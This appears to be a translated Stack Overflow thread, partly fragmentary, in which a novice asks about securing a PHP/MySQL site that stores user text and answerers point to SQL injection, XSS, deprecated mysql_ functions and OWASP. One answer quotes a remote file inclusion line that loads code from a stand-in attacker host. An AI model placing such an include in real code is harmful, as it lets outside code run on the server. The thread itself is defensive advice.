我正在编写我的第一个php / mysql网站,并意识到除了我在课程/书中学到的东西之外,我对安全性知之甚少。在我发布自己的网站之前,我需要多少安全知识,而不用担心即使取得适度的成功也会吸引黑客并导致我的网站被破坏?
如果它有助于更具体,我正在创建一个网站,允许用户添加纯文本内容,以及浏览其他人添加的内容。该文本旨在存储在数据库中。
答案 0 :(得分:3)
您无法了解所有内容,因此它取决于您的代码可能存在哪些攻击媒介以及风险是什么。
问问自己:
include 'http://evil.example.com/hack.txt';
)。请参阅:PHP - Is "include" function secure? mysql_
功能。请参阅:The mysql extension is deprecated and will be removed in the future: use mysqli or PDO instead PHP_SELF
作为其操作,因为XSS is also a possible attack on $_SERVER variables。此列表不完整,但应涵盖简单Web应用程序及其安全威胁的最常见用例
关于风险:
只要您处理用户的合理个人数据或在您自己的虚拟服务器上托管该网站,您就有了额外的责任,因为最糟糕的情况不再仅仅是您的网站可能被破坏,而私有数据可能会泄露,服务器可能会变成一个垃圾邮件或更糟糕的。
最重要的规则是:不要相信任何正在进行的数据
此规则的扩展,对初学者很重要:准确使用适合当前上下文的度量。不要只是因为你知道并希望它会更加安全的用户输入,这适得其反!我经常看到如下问题:“如果我在所有$ _POST变量上使用addslashes(mysql_real_escape_string(strip_tags(htmlspecialchars())))
,我的应用程序是否安全?” - 如果您认为这是一种有效的方法,那么您对用户输入的安全性如何运作存在严重的误解。我再说一遍:什么是安全的,什么不是,总是取决于具体情况!
值得学习的优秀资源是 Open Web Application Security Project
答案 1 :(得分:2)
这永远不够。但你希望你会继续改进。也许当你准备好了,你就会了解自己。
了解最常见的安全问题,例如:
并记住:
另请参阅this guide,它总结了最着名的安全问题。
答案 2 :(得分:1)
查看SQL注入和XSS。这一切都在验证用户输入。永远不要相信用户。
最后学习的最佳方法是因安全性差而遭受攻击。然后你就会明白它的工作原理。只需一个提示,即可进行备份。
答案 3 :(得分:0)
您网站中最关键的是用户可以为您的数据库提供文本。 在stackoverflow上阅读这个问题,以获得关于如何防止sql注入的好答案。 How to prevent sql injection in php